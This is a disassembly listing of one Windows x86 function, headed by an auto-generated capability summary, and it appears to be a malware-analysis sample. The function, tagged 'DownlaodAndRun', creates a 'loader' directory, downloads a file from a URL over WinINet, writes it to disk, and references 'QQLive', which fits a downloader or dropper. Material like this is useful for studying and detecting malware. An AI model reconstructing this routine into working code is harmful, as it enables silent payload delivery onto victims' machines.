Function at 0x402b95
Capabilities:
Check http status code
Check if file exists
Create directory
Create http request
Download and write a file
Get http content length
Print debug messages
Read data from internet
Receive and write data from server to client
Receive data
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x432447
mov eax, dword fs:[0]
push eax
mov eax, 0x4028
call fcn.004071a0
push ebx
push esi
push edi
mov eax, dword [0x43e1e4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0xc]
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], 1
jne 0x402bf1
lea ecx, [eax - 0x10]
call fcn.0040101e
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.0040101e
xor eax, eax
jmp 0x402eb4
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00401230
pop ecx
pop ecx
push 0x43f84c
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.00401253
lea eax, [ebp - 0x28]
push ebx
push eax
mov byte [ebp - 4], 3
call fcn.0040110e
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call fcn.00401032
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
mov byte [ebp - 4], 3
call fcn.0040101e
push str.loader
mov edi, 0x104
push edi
lea ecx, [ebp - 0x14]
call fcn.004011bd
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
push eax
call esi
push 0xffffffffffffffff
lea ecx, [ebp - 0x14]
call fcn.00401294
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402c8f
push ebx
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
push dword [ebp - 0x14]
call fcn.00401393
pop ecx
push 0x80
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040105f
push dword [ebp - 0x24]
lea ecx, [ebp - 0x18]
push edi
mov byte [ebp - 4], 5
call fcn.004011bd
push eax
call esi
push 0xffffffffffffffff
lea ecx, [ebp - 0x18]
call fcn.00401294
push ebx
push ebx
push ebx
push ebx
push str.DownlaodAndRun
mov byte [ebp - 0xd], bl
call dword [sym.imp.WININET.dll_InternetOpenW]
cmp eax, ebx
mov dword [ebp - 0x1c], eax
je 0x402df0
push ebx
push SysReAllocString
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, ebx
mov dword [ebp - 0x2c], eax
je 0x402dd6
mov esi, dword [sym.imp.WININET.dll_HttpQueryInfoW]
push ebx
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x28]
push ecx
push 0x20000005
push eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x34], 4
call esi
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jne 0x402d28
push str._Statistics::DownlaodAndRun__DownlaodAndRun:HttpQueryInfo_Error.
call edi
mov byte [ebp - 0xd], 1
push ebx
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
push 0x20000013
push dword [ebp - 0x2c]
mov dword [ebp - 0x30], ebx
call esi
test eax, eax
jne 0x402d46
mov byte [ebp - 0xd], 1
cmp dword [ebp - 0x30], 0xc8
je 0x402d53
mov byte [ebp - 0xd], 1
cmp byte [ebp - 0xd], bl
jne 0x402dcb
cmp dword [ebp - 0x28], ebx
je 0x402dcb
push 0x437434
push dword [ebp - 0x18]
call fcn.00407131
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jne 0x402d7f
push str._Statistics::DownlaodAndRun__DownlaodAndRun:File_Create_Error
call edi
mov byte [ebp - 0xd], 1
jmp 0x402dcb
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x20]
push eax
push 0x4000
lea eax, [ebp - 0x4034]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, ebx
je 0x402dc0
cmp dword [ebp - 0x20], ebx
je 0x402dc4
push esi
push dword [ebp - 0x20]
lea eax, [ebp - 0x4034]
push 1
push eax
call fcn.00406fe9
add esp, 0x10
cmp dword [ebp - 0x20], ebx
jne 0x402d82
jmp 0x402dc4
mov byte [ebp - 0xd], 1
push esi
call fcn.00406e0e
pop ecx
push dword [ebp - 0x2c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x402de5
push str._Statistics::DownlaodAndRun__DownlaodAndRun:InternetOpenUrl_Error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov byte [ebp - 0xd], 1
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x402dff
push str._Statistics::DownlaodAndRun__DownlaodAndRun:InternetOpen_Error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov byte [ebp - 0xd], 1
cmp byte [ebp - 0xd], bl
mov edi, dword [ebp + 0xc]
jne 0x402e78
lea eax, [ebp - 0x24]
push eax
mov esi, str.QQLive
lea eax, [ebp - 0x1c]
push esi
push eax
call fcn.004012fd
push dword [eax]
mov byte [ebp - 4], 6
push dword [ebp - 0x18]
call fcn.0040137f
mov ecx, dword [ebp - 0x1c]
add esp, 0x14
add ecx, 0xfffffff0
mov byte [ebp - 4], 5
call fcn.0040101e
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push esi
push eax
call fcn.004012fd
push dword [eax]
mov byte [ebp - 4], 7
push dword [ebp - 0x18]
call fcn.00401078
mov ecx, dword [ebp - 0x1c]
add esp, 0x14
add ecx, 0xfffffff0
mov byte [ebp - 4], 5
call fcn.0040101e
push 1
push 1
push edi
push dword [ebp - 0x18]
call fcn.00401159
add esp, 0x10
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.0040101e
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.0040101e
mov ecx, dword [ebp - 0x24]
add ecx, 0xfffffff0
call fcn.0040101e
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0040101e
lea ecx, [edi - 0x10]
call fcn.0040101e
xor eax, eax
cmp byte [ebp - 0xd], bl
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 8